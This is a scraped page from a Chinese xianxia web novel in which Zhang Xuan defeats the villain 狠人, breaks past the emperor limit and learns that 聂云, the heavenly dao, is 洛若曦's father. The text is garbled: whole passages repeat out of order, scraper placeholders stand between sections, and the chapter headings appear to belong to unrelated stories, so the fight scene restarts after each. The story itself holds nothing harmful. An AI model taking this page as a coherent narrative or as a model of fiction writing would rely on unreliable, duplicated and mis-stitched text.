没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十三章 督主大人可否帮小女子一个忙 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十四章 荣辱与共 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 